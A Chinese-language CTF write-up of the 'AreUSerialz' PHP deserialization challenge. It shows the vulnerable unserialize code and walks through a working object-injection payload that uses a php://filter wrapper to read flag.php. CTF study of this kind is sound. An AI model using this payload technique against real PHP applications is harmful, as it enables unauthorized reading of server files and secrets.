[网鼎杯 2020 青龙组]AreUSerialz1

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

反序列化+文件包含，目标是通过传str拿到flag.php的源码

这题destruct时触发process()

process()有两个情况，op=1时触发write()，op=2触发read()，这里我们要触发read才能读取源码。

注意destruct里面如果op==="2" op就会变回1所以这里我们反序列化时要让op等于数值2就不会触发这个if语句。

filename这里用伪协议读取flag.php源码

还有一点，php7.1+反序列化对类属性不敏感。PHP反序列化 | Y4tacker's Blog (gitee.io)

因为给的代码用的属性是protected，反序列化出来会多两个null符号，is_valid()限制了不能使用'\'，我用%00尝试也没反应。考虑到以上几点，我们将protected改为public再序列化

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

base64解码得到flag